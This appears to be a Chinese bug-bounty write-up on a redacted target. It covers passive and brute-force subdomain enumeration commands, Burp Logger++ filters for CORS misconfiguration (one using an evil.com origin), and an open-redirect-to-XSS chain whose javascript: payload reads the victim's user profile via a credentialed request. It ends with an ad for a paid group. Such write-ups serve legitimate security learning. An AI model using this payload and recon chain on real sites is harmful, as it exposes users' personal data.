信息搜集,通过google语法:
site:"*.redacted.com"
优化一下:
site:"*.redacted.com" -www -blog -mail
之后,利用subfinder、assetfinder和masass等被动枚举工具收集与目标相关的子域列表,并将它们保存在一个文本文件中。
subfinder -d redacted.com -all -silent -nc -o subdomains.txtassetfinder --subs-only redacted.com | sort -u >> subdomains.txt
amass enum -passive -d redacted.com -silent -nocolor | sort -u >> subdomains.txt
sort -u命令用于消除重复项。
后面进行dns解析:
shuffledns -d redacted.com -r massdns/lists/resolvers.txt -w SecLists/Discovery/DNS/subdomains-top1million-5000.txt -silent -nc | sort -u >> subdomains.txt
利用Shuffledns工具执行子域暴力执行,并将结果输出保存在名为subdomains.txt的文件中。
cat subdomains.txt | alterx -silent -o subdomain-permutation.txt
除了其他工具外,还可以使用dnsgen工具。在进行DNS解析时,这里使用了massdns工具。虽然dnsx也是一个可行的选择,但之前的测试显示massdns的执行速度要快得多。
cat subdomain-permutation.txt | massdns -r /root/massdns/lists/resolvers.txt -o L -w dns-resolving.txt
下一步是服务发现,使用httpx工具完成
cat dns-resolving.txt | httpx -sc -title -td -favicon -asn -silent -nc -o service-discovery.txt
使用Burp Suite来捕获请求和响应。
使用Logger++这个插件,允许我们定义高级过滤器,以根据日志识别可疑或易受攻击的接口。
搜索的时候,这里推荐使用以下的关键词:
Request.Headers CONTAINS "origin" AND (Response.Headers CONTAINS "Access-Control-Allow-Credentials" OR Response.Headers CONTAINS "Access-Control-Allow-Origin")
上面这个搜索可以发现Cors错误配置漏洞
也可以将Logger++与AutoRepeater扩展结合使用。在AutoRepeater中,添加一个替换(replacement),将源标头添加或替换为标头中的所需值。
或者
在Logger++中,除了AutoRepeater之外,还可以应用过滤器(filter)来查找易受攻击的接口。
Request.Headers CONTAINS "origin: evil.com" AND (Response.Headers CONTAINS "Access-Control-Allow-Credentials" OR Response.Headers CONTAINS "Access-Control-Allow-Origin: evil.com")
使用Logger++并应用了第一个过滤。通过将其中一个可疑端点发送到Repetear,发现只有子域容易受到攻击。
注意到某个端点的Response Body显示了个人信息,如全名、电子邮件地址和手机号码。这让我更加坚定了在目标子域上搜索XSS漏洞的决心。继续检查前面EyeWitness工具的输出,几分钟后,发现了一个可疑的登录页面,它可能有一个打开的重定向和XSS漏洞。
https://subdomain.redacted.com/login/mobile?next=https://subdomain.redacted.com
首先,检查开放重定向漏洞,然后进行 XSS 测试。
https://subdomain.redacted.com/login/mobile?next=javascript:alert(document.domain)
在输入手机号码和验证码后执行了xss。
反复测试之后,发现了一个利用这两个问题来实现预期结果的漏洞。
https://subdomain.redacted.com/login/mobile?next=javascript:function(){var xhttp=new XMLHttpRequest();xhttp.onreadystatechange=function(){if(xhttp.readyState==4&&xhttp.status==200){alert(xhttp.responseText);}};xhttp.open("GET","https://api.redacted.com/api/v2/user",true);xhttp.withCredentials=true;xhttp.send();})();
再次登录后,执行JavaScript代码并显示用户信息。
如果你是一个长期主义者,欢迎加入我的知识星球(优先查看这个链接,里面可能还有优惠券),我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款